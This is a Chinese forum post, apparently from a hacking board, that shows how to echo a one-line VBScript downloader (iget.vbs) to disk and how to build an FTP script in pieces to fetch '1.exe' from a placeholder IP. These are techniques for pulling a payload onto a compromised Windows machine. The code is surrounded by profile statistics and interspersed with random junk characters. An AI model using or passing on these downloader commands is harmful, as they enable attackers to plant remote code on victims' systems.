- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< >解决办法:
8 x$ i1 D' Y7 M6 ?1.iget.vbs一次写入 9 b1 z; y o9 u S0 `: G6 d
在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写 $ Z3 }' [3 f' d% Q' k
5 J, J- J# I b' d& M% r
Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2
0 m- b% C8 Y$ {4 e& \* A8 S6 q7 s# r! q$ t7 p7 h1 J) U
这样我们可以一次echo成功,echo版本:
) Q! l6 E; L+ g* @$ ]9 T [
* o3 R" Y9 u6 a4 ]; Yecho Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs 7 h# W: B" M" K5 a- i3 S4 u& w9 m$ F
. k' l/ t6 D* X
+ s/ E- g) O! S4 v7 W! A
2.bat调用ftp脚本的写法(by envymask) - L) R( R7 ]: ]' y: q- i
- B& \ [- \1 |8 `7 u% C/ L: Kecho ftp>1.vbs
" I0 W* P$ S5 j/ Becho open ip>2.vbs
$ ]0 k" P8 N Yecho u>3.vbs 7 n; j) S8 o) w ]" X2 y5 d9 U/ e$ A
echo s>4.vbs # e1 i9 l8 M9 d b' L9 c
echo binary>5.vbs 4 U9 ]) ]( q5 a! C! r) P
echo get 1.exe>6.vbs
$ h5 ^6 ^" a1 e+ ?echo bay>7.vbs
. E# j/ p& j1 b/ T
+ i$ a5 w% m* u% t1 F1 i3 Scopy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs ' z& c3 @# f8 U% U( a
</P> |
zan
|